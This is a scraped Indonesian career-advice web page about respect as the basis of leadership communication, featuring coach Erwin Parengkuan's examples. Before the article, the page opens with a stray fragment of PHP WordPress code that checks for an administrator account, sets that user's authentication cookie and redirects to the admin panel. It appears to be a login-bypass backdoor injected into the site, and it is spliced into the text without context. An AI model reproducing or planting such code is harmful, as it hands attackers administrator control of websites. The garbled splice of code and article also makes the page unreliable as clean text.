user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Respek, Kunci Sukses Komunikasi Kepemimpinan

8 Apr 2021


Foto: Shutterstock


Komunikasi merupakan masalah yang klasik, tapi ternyata cukup pelik. Komunikasi di antara pasangan, antara orang tua dan anak, antara atasan dan bawahan, punya challenge masing-masing. Karena dunia ini terus berubah, gaya komunikasi juga perlu berubah mengikuti perkembangan zaman. Di dunia kerja dulu komunikasi cenderung kaku, rigid, satu arah, dominan, dan arogan. Intinya, atasan pasti benar, anak buah pasti salah. 

Sekarang model komunikasi seperti itu sudah tidak relevan lagi. Kalau masih nekat diterapkan, jangan heran jika pesan yang ingin Anda sampaikan hanya akan mental. Lalu, komunikasi seperti apa yang perlu diterapkan dan dicontohkan oleh seorang atasan sebagai
leader organisasi?

Bersama Membangun Jembatan
Suatu ketika sebuah perusahaan meminta Erwin Parengkuan, CEO dan pendiri TALKinc, menjadi coach bagi mereka. Perusahaan itu bercerita, sejak awal berdiri hingga selama sekitar sepuluh tahun mereka selalu menjadi market leader. Tiba-tiba saja mereka disalip oleh perusahaan lain dan menjadi nomor dua. Perusahaan yang awalnya begitu rapid karena kencangnya kompetisi mendadak tersadar bahwa ada sesuatu yang salah. Berangkat dari kesadaran itu, Erwin lalu memberikan coaching. Usai sesi coaching yang berlangsung dalam waktu kurang dari setahun, perusahaan itu kembali menempati posisi pertama. Apa yang mereka lakukan.

Hearing session. Setiap bulan mereka mengadakan forum yang diikuti oleh seluruh karyawan yang datang dari semua level dan dari seluruh Indonesia. Dalam forum itu mereka boleh bicara apa saja langsung kepada CEO dan CEO tidak boleh membantah. Ia harus mendengarkan dan merespon secara positif. Ini jembatan komunikasi yang perlu dibangun,” kata Erwin.

Ia mengamati, sekarang ini orang makin
baper, makin mudah marah, makin mudah tersulut oleh berbagai isu. Akibatnya, kondisi secara umum jadi tidak menyenangkan. Jika situasi di luar perusahaan sudah unpleasant, sudah sepantasnya pemimpin organisasi menciptakan sebuah playground. Playground itu bukan berupa ruangan khusus yang dilengkapi dengan berbagai perangkat permainan, melainkan berupa kondisi saling menghargai di antara semua orang di dalam organisasi, tanpa terkecuali. 

“Termasuk, menghargai karyawan di level paling bawah. Jika tidak bisa terkoneksi dengan CEO, bagaimana mereka akan bisa bekerja sepenuh hati? Respek merupakan hal yang sangat
human dan sangat mendasar dalam sebuah hubungan,” lanjut Erwin. 

Dalam ilmu komunikasi dijelaskan bahwa komunikasi mengandung dua komponen, yaitu
communicator dan communicant; orang yang berbicara dan orang yang mendengarkan. Namun, dari pengalaman selama 17 tahun di dunia komunikasi, Erwin menemukan satu komponen lain. 

Advertisement
Lebih lanjut ia menguraikan, komunikasi berakar dari bahasa Latin, yaitu
communio, yang artinya adalah bersama. Ketika mengandung makna ‘bersama’, maka dalam membangun sebuah relationship harus ada respek. Respek inilah yang menentukan keberhasilan komunikasi seorang pemimpin.

Masalahnya, sering kali seorang
leader bisa menjadi sangat dominan, sangat arogan, tidak pernah mau memahami anggota timnya, dan hanya menuntut untuk dipahami. Hal tersebut membuat sang leader sulit menghargai orang lain. 

Akibatnya, komunikasi jadi macet. Namun, Erwin menilai, sikap itu tidak sepenuhnya salah, karena setiap orang memang punya ego. Ketika memegang posisi sebagai atasan disertai judul jabatan yang mentereng dan gaji besar, wajar saja jika ia ingin selalu didengarkan, diakui, dan dianggap. 

Namun, respek tak harus ditunjukkan dalam hal-hal besar,
kok. Sangat bisa diperlihatkan dalam hal yang sederhana. Erwin bercerita, meski statusnya merupakan pemilik perusahaan, ia memberi kesempatan kepada karyawannya untuk menyampaikan keinginan. Sesederhana ketika menentukan menu makan siang. Ia akan meminta karyawannya untuk memberi input. Mereka ramai mengajukan usul dan pilihan menu makan siang jatuh pada menu yang paling banyak dipilih saat voting

Begitu juga ketika menentukan tempat tujuan
outing. Semua orang mengajukan usul, termasuk Erwin sendiri. Ketika pada akhirnya usulan Erwin tidak menang, baginya tidak masalah. Ia menghargai timnya dan menghargai pilihan mereka.

Yang kini juga menjadi tantangan dalam komunikasi dalam organisasi atau perusahaan adalah komunikasi di antara dua generasi yang usianya jauh berbeda yang sering kali tidak
nyambung. Anda mungkin mengalami sendiri. Kenapa ini terjadi? Sebab, mereka sulit untuk saling menghargai. Bisa jadi yang senior merasa juniornya ngasal, yang junior merasa seniornya kuno banget.

Karena itu, Erwin menyarankan, agar komunikasi dengan milenial bisa terjalin dengan baik,
leader perlu meningkatkan keterampilan mendengarkan, sekaligus meninggalkan arogansi dan mental block. Leader juga perlu bersikap lebih agile dan fleksibel, karena sikap inilah yang diinginkan oleh milenial, generasi yang kini mendominasi dunia kerja. 

Ia menekankan, apa pun posisi seseorang di dalam organisasi – entah direktur, resepsionis, atau
office boy --  semua bekerja atas nama perusahaan. Itu berarti, meski deskripsi tugasnya berbeda, jabatannya berbeda, generasinya berbeda, semua orang punya tujuan yang sama, yaitu membuat organisasi bertumbuh jadi lebih sukses. 


Baca Selanjutnya: 
Berawal dari Pengendalian Diri




Topic

#komunikasi, #skill, #karier

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?